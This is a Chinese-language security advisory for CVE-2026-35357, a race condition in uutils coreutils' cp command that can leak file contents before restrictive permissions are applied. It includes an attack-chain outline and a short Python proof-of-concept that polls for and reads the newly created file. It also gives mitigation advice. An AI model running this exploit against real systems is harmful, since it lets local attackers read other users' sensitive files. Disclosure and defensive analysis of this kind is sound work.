IPBUF安全漏洞报告
English
CVE-2026-35357 CVSS 4.7 中危

CVE-2026-35357 uutils coreutils信息泄露漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35357
漏洞类型
竞态条件
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

竞态条件信息泄露uutilscoreutils本地攻击权限管理

漏洞概述

uutils coreutils中的cp实用程序存在信息泄露竞态条件漏洞。目标文件在最终权限(如0600)生效前,会先以umask派生的权限(如0644)创建。本地攻击者可以利用该时间窗口打开文件,获取文件描述符。即使后续权限被收紧,该描述符依然有效,导致敏感文件内容泄露。

技术细节

该漏洞的核心在于文件权限设置的非原子性操作。在uutils coreutils的`cp`工具实现中,当创建目标文件时,系统首先调用`open`或`creat`,此时文件继承当前的umask权限(通常为0644,允许组用户和其他用户读取)。随后,程序逻辑会调用`chmod`或`fchmod`将权限修改为源文件的权限或用户指定的更严格权限(如0600)。在文件创建到权限修改之间的这个极小的时间窗口内,文件处于“过度开放”状态。本地攻击者可以利用这一竞态条件,通过高频轮询或利用文件系统事件通知,尝试在该窗口内打开目标文件。根据Unix文件系统机制,一旦进程成功打开文件并获得文件描述符,后续对该文件权限的修改不会影响已打开文件描述符的读写权限。因此,攻击者可以借此绕过最终设置的权限限制,持续读取敏感数据。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者确认目标系统使用存在漏洞的uutils coreutils版本,并确定即将通过cp命令复制的敏感目标文件路径。
STEP 2
步骤2:监控与触发
攻击者运行恶意脚本,监控文件系统或等待cp操作的执行,准备在目标文件创建的瞬间进行介入。
STEP 3
步骤3:竞态利用
在cp命令创建文件但尚未执行chmod收紧权限的时间窗口内,攻击者迅速打开目标文件并获取文件描述符。
STEP 4
步骤4:数据窃取
利用已获取的文件描述符读取敏感内容,即使后续文件权限变为0600,攻击者仍可持续读取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import time # Simulating the race condition attack # This script attempts to open the destination file before permissions are tightened. def attacker_thread(dest_file): print("[+] Attacker thread started...") while True: try: # Attempt to open the file read-only # If umask is 0644, this might succeed before chmod to 0600 fd = os.open(dest_file, os.O_RDONLY) print(f"[+] Race won! File descriptor acquired: {fd}") # Read content data = os.read(fd, 1024) print(f"[+] Leaked data: {data.decode(errors='ignore')}") os.close(fd) break except (FileNotFoundError, PermissionError): # File not created yet or permissions already restricted time.sleep(0.0001) # High frequency polling continue if __name__ == "__main__": target = "/tmp/copy_of_secret" # In a real scenario, run this while `cp source target` is executing attacker_thread(target)

影响范围

uutils coreutils (具体版本请参考官方通告)

防御指南

临时缓解措施
建议在官方补丁发布前,暂时回退使用GNU coreutils或其他未受此影响的cp实现。同时,可以通过设置系统默认umask为更严格的值(如0077)来降低风险,但这无法完全消除竞态窗口,仅减小攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表